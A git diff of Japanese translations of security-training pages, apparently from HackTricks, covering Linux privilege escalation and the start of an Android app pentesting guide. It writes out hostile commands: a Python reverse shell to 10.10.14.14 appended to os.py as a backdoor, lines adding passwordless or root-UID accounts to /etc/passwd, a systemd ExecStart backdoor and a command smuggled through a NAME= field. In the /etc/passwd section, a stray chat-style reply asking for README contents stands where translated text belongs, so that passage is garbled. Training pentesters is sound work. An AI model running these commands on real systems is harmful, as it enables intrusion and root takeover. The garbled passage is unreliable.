パスワード認証が有効な場合に、サーバーがパスワードが空のアカウントへのログインを許可するかどうかを指定します。デフォルトは `no` です。 +- **PubkeyAuthentication:** public key authentication が許可されているかどうかを指定します。デフォルトは `yes` です。 +- **PermitEmptyPasswords**: パスワード認証が許可されている場合に、サーバーが空のパスワード文字列のアカウントへのログインを許可するかどうかを指定します。デフォルトは `no` です。 ### PermitRootLogin -rootがsshでログインできるかどうかを指定します。デフォルトは `no` です。可能な値: +ssh を使って root がログインできるかどうかを指定します。デフォルトは `no`。可能な値: -- `yes`: rootはパスワードと秘密鍵の両方でログインできます -- `without-password` or `prohibit-password`: rootは秘密鍵のみでログインできます -- `forced-commands-only`: rootは秘密鍵のみでログインでき、かつcommandsオプションが指定されている必要があります -- `no`: rootはログインできません +- `yes`: root はパスワードおよび private key を使用してログインできます +- `without-password` or `prohibit-password`: root は private key のみでログインできます +- `forced-commands-only`: root は private key を使用し、かつコマンドオプションが指定されている場合にのみログインできます +- `no`: ログイン不可 ### AuthorizedKeysFile -ユーザー認証に使用できる公開鍵を含むファイルを指定します。 `%h` のようなトークンを含めることができ、これはホームディレクトリに置き換えられます。 **絶対パスを指定できます** (`/`で始まる) または **ユーザーのホームからの相対パス**。例えば: +ユーザー認証に使える public keys を含むファイルを指定します。`%h` のようなトークンを含めることができ、これはホームディレクトリに置き換えられます。**絶対パス**（`/`で始まる）または**ユーザーのホームからの相対パス**を指定できます。例えば: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -その設定は、ユーザー "**testusername**" の **private** 鍵でログインしようとすると、ssh があなたの鍵の public key を `/home/testusername/.ssh/authorized_keys` と `/home/testusername/access` にあるものと比較することを示します。 +その設定は、**private** key を使ってユーザー「**testusername**」でログインしようとすると、ssh があなたのキーの public key を `/home/testusername/.ssh/authorized_keys` と `/home/testusername/access` にあるものと比較することを示します。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding は、サーバー上に鍵（パスフレーズ無し！）を残さずに **use your local SSH keys instead of leaving keys** ことを可能にします。つまり、ssh で **to a host** に **jump** し、そこから別のホストへ **jump to another** するときに、**initial host** にある **key** を **using** することができます。 +SSH agent forwarding により、サーバー上に（without passphrases!）鍵を置いたままにする代わりに、**use your local SSH keys instead of leaving keys** ことができます。つまり、ssh を介して **jump** し **to a host** に接続し、そこから **jump to another** ホストへ移動する際に、**using** **key** が **initial host** に配置されているものを使用できます。 -このオプションは `$HOME/.ssh.config` に以下のように設定する必要があります: +このオプションは `$HOME/.ssh.config` に次のように設定する必要があります: ``` Host example.com ForwardAgent yes ``` -注意：`Host` が `*` の場合、ユーザーが別のマシンに移動するたびに、そのホストはキーにアクセスできてしまいます（これはセキュリティ上の問題です）。 +Notice that if `Host` is `*` every time the user jumps to a different machine, that host will be able to access the keys (which is a security issue). -ファイル `/etc/ssh_config` はこれらの **options** を **override** し、この設定を許可または拒否することができます。\ -ファイル `/etc/sshd_config` はキーワード `AllowAgentForwarding` を使って ssh-agent フォワーディングを **allow** または **denied** に設定できます（デフォルトは allow）。 +The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ +The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (default is allow). -環境で Forward Agent が設定されているのを見つけたら、次のページを参照してください。**悪用して権限昇格できる可能性があるため**: +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -1243,70 +1237,76 @@ ssh-forward-agent-exploitation.md ### プロファイルファイル -ファイル `/etc/profile` および `/etc/profile.d/` 以下のファイルは、ユーザーが新しいシェルを起動したときに実行される **ユーザーが新しいシェルを起動したときに実行されるスクリプト** です。したがって、それらのいずれかに **書き込みまたは変更ができる場合、権限を昇格させることができます**。 +The file `/etc/profile` and the files under `/etc/profile.d/` are **scripts that are executed when a user runs a new shell**. Therefore, if you can **write or modify any of them you can escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -怪しいプロファイルスクリプトが見つかった場合は、**機密情報**が含まれていないか確認してください。 +もし怪しいプロファイルスクリプトが見つかった場合は、**機密情報**が含まれていないか確認してください。 ### Passwd/Shadow ファイル -OSによっては `/etc/passwd` や `/etc/shadow` ファイルが別名になっているか、バックアップが存在する場合があります。したがって、**それらをすべて見つけ出し**、**読み取れるか確認して**、ファイル内に**ハッシュが含まれているか**を調べることを推奨します: +OS によっては `/etc/passwd` と `/etc/shadow` が別名だったり、バックアップが存在することがあります。したがって、**それらをすべて見つけ出し**、**読み取れるか確認して**ファイル内に**ハッシュが含まれているか**を確認することをお勧めします： ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -場合によっては、`/etc/passwd`（または同等のファイル）内に**password hashes**が見つかることがあります +場合によっては、`/etc/passwd`（または同等のファイル）内で**password hashes**を見つけることがあります。 ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Writable /etc/passwd +### 書き込み可能な /etc/passwd -まず、以下のいずれかのコマンドでパスワードを生成します。 +まず、次のコマンドのいずれかでパスワードを生成します。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -元の README.md の内容を貼ってください。翻訳はその内容に対して行います。 -また、`hacker` ユーザーをどの位置に追加するか（末尾に追記でよいか）と、生成パスワードを平文で含めるかハッシュで含めるかを教えてください。こちらで強力なパスワードを生成して挿入します。 +README.md の翻訳を行いますが、元のファイル内容を送ってください。翻訳後にユーザー `hacker` を追加し、生成したパスワードを記載します。 + +確認事項を教えてください： +- パスワードはこちらで生成してよいですか？（はい/いいえ） +- 生成する場合、長さと使用する文字種（例：英数字のみ、記号含む）を指定してください。 +- `hacker` をどの位置に追加しますか？（ファイル末尾、特定のセクション名、など） + +ファイル内容と上の回答をいただければ翻訳して所定箇所にユーザー情報を追加します。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 例: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -これで `su` コマンドを `hacker:hacker` で使用できます +これで `su` コマンドで `hacker:hacker` を使えます。 -または、以下の行を使用してパスワードなしのダミーユーザーを追加できます。\ +あるいは、以下の行を使ってパスワードなしのダミーユーザーを追加できます。\ 警告: マシンの現在のセキュリティが低下する可能性があります。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` および `/etc/master.passwd` にあり、`/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 +注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` および `/etc/master.passwd` にあり、また `/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 -次に、**write in some sensitive files** ができるか確認してください。例えば、**service configuration file** に書き込めますか？ +いくつかの**機密ファイルに書き込みができるか**確認するべきです。例えば、いくつかの**サービス構成ファイル**に書き込みできますか？ ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例えば、マシンが**tomcat**サーバを実行していて、**/etc/systemd/ 内の Tomcat サービス設定ファイルを変更できる,** その場合、次の行を変更できます: +例えば、マシンが **tomcat** サーバーを稼働していて、**modify the Tomcat service configuration file inside /etc/systemd/,** を変更できる場合、次の行を変更できます: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -バックドアはtomcatが次回起動されたときに実行されます。 +Your backdoor will be executed the next time that tomcat is started. ### フォルダの確認 -次のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** （おそらく最後のものは読み取れないでしょうが、試してみてください） +The following folders may contain backups or interesting information: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (おそらく最後のものは読み取れないでしょうが、試してみてください) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 奇妙な場所/Owned files +### 奇妙な場所/Owned ファイル ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1327,7 +1327,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DBファイル +### Sqlite DB ファイル ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1339,12 +1339,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATHにあるスクリプト/バイナリ** +### **PATH内のスクリプト/バイナリ** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Web ファイル** +### **ウェブファイル** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1355,20 +1355,20 @@ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### パスワードを含む既知のファイル +### passwords を含む既知のファイル -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを読んでください。これは **パスワードを含む可能性のある複数のファイル** を検索します。\ -**もう一つの興味深いツール** として使えるのは: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) で、ローカルコンピュータに保存された多数のパスワードを取得するためのオープンソースアプリケーションです（Windows, Linux & Mac 向け）。 +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを読むと、**passwords を含む可能性がある複数のファイル** を検索していることがわかります。\ +**もう一つの興味深いツール** は: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) で、Windows、Linux & Mac のローカルコンピュータに保存された大量の passwords を取得するためのオープンソースのアプリケーションです。 -### Logs +### ログ -ログを読むことができれば、**その中に興味深い／機密情報が含まれている**可能性があります。ログが奇妙であればあるほど、（おそらく）より興味深いでしょう。\ -また、いくつかの**"bad"**に設定された（backdoored?）**audit logs**は、監査ログ内に**パスワードを記録する**ことを可能にする場合があります。詳しくはこの投稿を参照してください: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +ログを読むことができれば、**その中に興味深い/機密情報が見つかることがあります**。ログが奇妙であればあるほど、それだけ興味深い可能性が高いです（おそらく）。\ +また、一部の「**bad**」に設定された（バックドアが仕込まれている？）**audit logs** は、**audit logs** 内に **passwords** を記録することを可能にする場合があります。詳しくはこの投稿を参照してください: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -ログを読むために **ログを読むグループ** [**adm**](interesting-groups-linux-pe/index.html#adm-group) は非常に役立ちます。 +ログを読むには、**ログ閲覧用のグループ** [**adm**](interesting-groups-linux-pe/index.html#adm-group) が非常に役に立ちます。 ### シェルファイル ```bash @@ -1383,57 +1383,57 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -ファイル名や内容に"**password**"という単語が含まれているファイルも確認してください。また、logs内のIPsやemails、ハッシュのregexpsもチェックしてください。\ -ここでこれらすべてのやり方を列挙するつもりはありませんが、興味があれば[**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh)が実行する最後のチェックを確認できます。 +ファイル名やファイルの中身に "**password**" という語を含むファイルを確認し、ログ内の IP や emails、あるいは hashes regexps もチェックしてください。\ +ここでこれらすべてをどう実行するかを列挙するつもりはありませんが、興味があれば [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) が実行する最新のチェックを確認してください。 ## 書き込み可能なファイル ### Python library hijacking -もしpythonスクリプトが**どこから**実行されるか分かっていて、そのフォルダに**書き込みできる**か、あるいは**pythonライブラリを修正できる**なら、OSライブラリを改変してbackdoorすることができます（pythonスクリプトが実行される場所に書き込み可能であれば、os.pyライブラリをコピーして貼り付けてください）。 +もしどの場所で（**where**）python スクリプトが実行されるか分かっていて、そのフォルダに **書き込み可能**（**can write inside**）であるか、あるいは **python ライブラリを変更できる**（**modify python libraries**）のであれば、OS ライブラリを改変して backdoor を仕込むことができます（python スクリプトが実行される場所に書き込みできるなら、os.py ライブラリをコピーして貼り付ければよい）。 -To **backdoor the library** just add at the end of the os.py library the following line (change IP and PORT): +ライブラリに **backdoor the library** を仕込むには、os.py ライブラリの末尾に以下の行を追加してください（IP と PORT を変更してください）： ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` ### Logrotate の悪用 -A vulnerability in `logrotate` lets users with **write permissions** on a log file or its parent directories potentially gain escalated privileges. This is because `logrotate`, often running as **root**, can be manipulated to execute arbitrary files, especially in directories like _**/etc/bash_completion.d/**_. It's important to check permissions not just in _/var/log_ but also in any directory where log rotation is applied. +`logrotate` に存在する脆弱性により、ログファイルやその親ディレクトリに対して **書き込み権限** を持つユーザーが権限昇格できる可能性があります。これは `logrotate` が多くの場合 **root** として実行されており、特に _**/etc/bash_completion.d/**_ のようなディレクトリで任意のファイルを実行するように操作できるためです。権限は _/var/log_ だけでなくログローテーションが適用されるすべてのディレクトリで確認することが重要です。 > [!TIP] -> この脆弱性は`logrotate`のバージョン`3.18.0`およびそれ以前に影響します +> この脆弱性は `logrotate` バージョン `3.18.0` およびそれ以前に影響します -More detailed information about the vulnerability can be found on this page: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +脆弱性の詳細は次のページで確認できます: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). -You can exploit this vulnerability with [**logrotten**](https://github.com/whotwagner/logrotten). +この脆弱性は [**logrotten**](https://github.com/whotwagner/logrotten) を使って悪用できます。 -This vulnerability is very similar to [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so whenever you find that you can alter logs, check who is managing those logs and check if you can escalate privileges substituting the logs by symlinks. +この脆弱性は [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** に非常によく似ているため、ログを変更できることが判明した場合は、誰がそれらのログを管理しているかを確認し、ログをシンボリックリンクに置き換えて権限昇格できないか確認してください。 ### /etc/sysconfig/network-scripts/ (Centos/Redhat) -**脆弱性の参照先:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) +**Vulnerability reference:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) If, for whatever reason, a user is able to **write** an `ifcf-` script to _/etc/sysconfig/network-scripts_ **or** it can **adjust** an existing one, then your **system is pwned**. -Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ for example are used for network connections. They look exactly like .INI files. However, they are \~sourced\~ on Linux by Network Manager (dispatcher.d). In my case, the `NAME=` attributed in these network scripts is not handled correctly. If you have **white/blank space in the name the system tries to execute the part after the white/blank space**. This means that **everything after the first blank space is executed as root**. -For example: _/etc/sysconfig/network-scripts/ifcfg-1337_ +例えば: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_注: Network と /bin/id の間の空白に注意_) +（注: Network と /bin/id_ の間に空白があります） -### **init, init.d, systemd, と rc.d** +### **init, init.d, systemd, and rc.d** -ディレクトリ `/etc/init.d` は System V init (SysVinit) 用の **スクリプト** の格納場所です。これは **古典的な Linux サービス管理システム** です。`start`、`stop`、`restart`、場合によっては `reload` サービスを実行するスクリプトが含まれます。これらは直接実行するか、`/etc/rc?.d/` にあるシンボリックリンク経由で実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` が使われます。 +ディレクトリ `/etc/init.d` は System V init (SysVinit) 用の **スクリプト** の格納場所です。ここにはサービスを `start`、`stop`、`restart`、場合によっては `reload` するためのスクリプトが含まれており、これらは直接実行するか `/etc/rc?.d/` にあるシンボリックリンクを介して実行できます。Redhat 系では代替パスとして `/etc/rc.d/init.d` が使用されます。 -一方で、`/etc/init` は **Upstart** に関連しており、Ubuntu によって導入された新しい **サービス管理** で、サービス管理タスクのために設定ファイルを使用します。Upstart への移行にもかかわらず、Upstart の互換レイヤーにより SysVinit スクリプトは Upstart の設定と並行して利用され続けています。 +一方、`/etc/init` は Ubuntu によって導入された新しい **service management** である **Upstart** に関連し、サービス管理タスクのための設定ファイルを使用します。Upstart への移行にもかかわらず、互換レイヤーのために SysVinit スクリプトは Upstart 設定と併用され続けています。 -**systemd** はモダンな初期化およびサービスマネージャとして登場し、on-demand のデーモン起動、automount 管理、システム状態のスナップショットなどの高度な機能を提供します。配布パッケージ用のファイルは `/usr/lib/systemd/`、管理者による変更用は `/etc/systemd/system/` に整理され、システム管理を合理化します。 +**systemd** はモダンな初期化およびサービスマネージャとして登場し、オンデマンドでのデーモン起動、automount 管理、システム状態のスナップショットなどの高度な機能を提供します。ファイルは配布パッケージ用に `/usr/lib/systemd/`、管理者による変更用に `/etc/systemd/system/` に整理され、システム管理を簡素化します。 ## Other Tricks @@ -1460,38 +1460,38 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android の rooting フレームワークは一般に syscall をフックして、特権付きカーネル機能を userspace のマネージャに公開します。マネージャの認証が弱い（例: FD-order に基づく署名チェックや脆弱なパスワード方式）と、ローカルアプリがマネージャになりすまして既に root 化されたデバイスで root に昇格できてしまう可能性があります。詳細とエクスプロイトについては以下を参照してください: +Android rooting frameworks は一般的に privileged kernel functionality をユーザースペースの manager に公開するために syscall をフックします。弱い manager 認証（例：FD-order に基づく signature チェックや脆弱なパスワード方式）は、ローカルアプリが manager を偽装して既に root 化されたデバイス上で root に昇格することを可能にする場合があります。詳細および悪用の手順はこちら： {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## カーネルのセキュリティ保護 +## Kernel Security Protections - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## さらに情報 +## More help [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Linux ローカル privilege escalation ベクターを探すのに最適なツール:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Linux と MAC のカーネル脆弱性を列挙 [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** カーネルの脆弱性を列挙するツール（Linux と macOS 向け） [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (物理アクセス):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) -## 参考 +## References - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index b4034429a..6e7361eb7 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -1,10 +1,10 @@ -# Android アプリケーション Pentesting +# Android アプリケーションのPentesting {{#include ../../banners/hacktricks-training.md}} -## Android アプリケーションの基礎 +## Android アプリケーションの基本 -このページを最初に読むことを強く推奨します。**Android のセキュリティに関連する最も重要な部分と、Android アプリケーション内で最も危険なコンポーネント**について知ることができます: +このページは、**Android セキュリティに関連する最も重要な部分と、Android アプリケーション内で最も危険なコンポーネント**について知るために、まず読むことを強くおすすめします： {{#ref}} @@ -13,24 +13,24 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -これは、エミュレートまたは実機の Android デバイスに接続するための主要なツールです。\ -**ADB** を使用すると、コンピュータから **USB** または **Network** 経由でデバイスを制御できます。このユーティリティは、ファイルの双方向の **copying**、アプリの **installation** と **uninstallation**、シェルコマンドの **execution**、データの **backing up**、ログの **reading** などの機能を提供します。 +これは、エミュレートされたものでも実機でも、Android デバイスに接続するために必要な主要なツールです。\ +**ADB** を使用すると、コンピュータから **USB** または **Network** 経由でデバイスを制御できます。このユーティリティは、ファイルの双方向の **コピー**、アプリの **インストール** と **アンインストール**、シェルコマンドの **実行**、データの **バックアップ**、ログの **読み取り** などの機能を提供します。 -adb の使い方を学ぶには、次の [**ADB Commands**](adb-commands.md) を参照してください。 +adb の使い方を学ぶには、以下の [**ADB Commands**](adb-commands.md) のリストを参照してください。 ## Smali -場合によっては、**modify the application code** して **hidden information**（難読化されたパスワードや flags など）にアクセスすることが有益です。そのため、apk を逆コンパイルしてコードを修正し、再コンパイルすることが有効な場合があります。\ -[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。この手法は、これから示す**dynamic analysis**中のいくつかのテストの代替手段として非常に有用です。したがって、この可能性を常に念頭に置いてください。 +時には、**アプリケーションのコードを修正**して **隠された情報**（難読化されたパスワードやフラグなど）にアクセスすることが有益です。その場合、apk をデコンパイルしてコードを修正し、再コンパイルすることが考えられます。\ +[**In this tutorial** you can **learn how to decompile and APK, modify Smali code and recompile the APK** with the new functionality](smali-changes.md)。これは、これから紹介する動的解析におけるいくつかのテストに対する代替手段として非常に役立つ可能性があります。したがって、この可能性を常に念頭に置いてください。 -## Other interesting tricks +## その他の興味深いトリック - [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md) - [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md) - [Abusing Accessibility Services (Android RAT)](accessibility-services-abuse.md) - **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) -- デバイスから APK を抽出する方法: +- デバイスからAPKを抽出する： ```bash adb shell pm list packages com.android.insecurebankv2 @@ -40,7 +40,7 @@ package:/data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk adb pull /data/app/com.android.insecurebankv2-Jnf8pNgwy3QA_U5f-n_4jQ==/base.apk ``` -- [APKEditor](https://github.com/REAndroid/APKEditor) を使って、すべての splits と base apks をマージする: +- すべての splits と base apks を [APKEditor](https://github.com/REAndroid/APKEditor) でマージする: ```bash mkdir splits adb shell pm path com.android.insecurebankv2 | cut -d ':' -f 2 | xargs -n1 -i adb pull {} splits @@ -61,38 +61,38 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed ../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Static Analysis +## 静的解析 -まず、APKを解析するには、decompilerを使って**Java code**を確認してください。\ +まず、APKを解析するには、decompiler を使って**Java コードを確認する**べきです。\ Please, [**read here to find information about different available decompilers**](apk-decompilers.md). -### Looking for interesting Info +### 興味深い情報の探索 -APKの**strings**を確認するだけで、**passwords**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens**などの有用な情報を探せます。コード実行の**backdoors**や認証バックドア（アプリにハードコードされた管理者資格情報）なども見つかることがあります。 +APKの**strings**を確認するだけで、**passwords**、**URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** keys、**encryption**、**bluetooth uuids**、**tokens** などを検索できます。コード実行の**backdoors**や認証用のbackdoors（hardcoded admin credentials to the app）さえ探してください。 **Firebase** -Firebase に特に注意して、**firebase URLs** が誤設定されていないか確認してください。 [More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +**firebase URLs**に特に注意し、設定が不適切でないか確認してください。[More information about whats is FIrebase and how to exploit it here.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### Basic understanding of the application - Manifest.xml, strings.xml +### アプリケーションの基本的理解 - Manifest.xml, strings.xml -アプリケーションの _Manifest.xml_ および _strings.xml_ ファイルを**調査することで潜在的なセキュリティ脆弱性が明らかになることがあります**。これらのファイルは decompiler を使うか、APK の拡張子を .zip に変更して解凍することで取得できます。 +アプリケーションの _Manifest.xml_ および _strings.xml_ ファイルの**調査は潜在的なセキュリティ脆弱性を明らかにする**ことがあります。これらのファイルは decompiler を使うか、APK の拡張子を .zip に変更して解凍することでアクセスできます。 -**Manifest.xml** から識別される脆弱性には以下があります: +**Manifest.xml** から特定できる **脆弱性** には次のものがあります: -- **Debuggable Applications**: _Manifest.xml_ 内で debuggable (`debuggable="true"`) に設定されたアプリケーションは、接続を許可し悪用につながる可能性があるためリスクがあります。デバッグ可能なアプリを発見して悪用する方法については、デバイス上でのデバッグ可能アプリの検出と悪用に関するチュートリアルを参照してください。 -- **Backup Settings**: 機密情報を扱うアプリでは、adb 経由での不正なデータバックアップを防ぐために `android:allowBackup="false"` を明示的に設定するべきです（特に USB デバッグが有効な場合）。 -- **Network Security**: _res/xml/_ 内のカスタム network security 設定（`android:networkSecurityConfig="@xml/network_security_config"`）は、証明書ピンや HTTP トラフィック許可などのセキュリティ詳細を指定できます。特定ドメインに対して HTTP トラフィックを許可する例などが考えられます。 -- **Exported Activities and Services**: マニフェストにエクスポートされた activity や service を特定することで、悪用されうるコンポーネントを浮き彫りにできます。動的テスト時にさらに解析して、それらがどのように悪用され得るかを確認してください。 -- **Content Providers and FileProviders**: 公開された content provider はデータへの不正アクセスや改ざんを許す可能性があります。FileProvider の設定も入念に確認してください。 -- **Broadcast Receivers and URL Schemes**: これらのコンポーネントは悪用に利用され得るため、特に URL スキームの扱いによる入力脆弱性に注意してください。 -- **SDK Versions**: `minSdkVersion`、`targetSDKVersion`、`maxSdkVersion` の属性はサポートされる Android バージョンを示し、古い脆弱なバージョンをサポートしないことが重要です。 +- **Debuggable Applications**: _Manifest.xml_ で `debuggable="true"` に設定されたアプリケーションは、接続を許可してしまい、悪用に繋がるリスクがあります。デバッガブルなアプリをデバイス上で見つけて悪用する方法についてはチュートリアルを参照してください。 +- **Backup Settings**: `android:allowBackup="false"` 属性は、usb debugging が有効な場合などに adb 経由でのデータバックアップによる不正アクセスを防ぐため、機密情報を扱うアプリでは明示的に false に設定する必要があります。 +- **Network Security**: 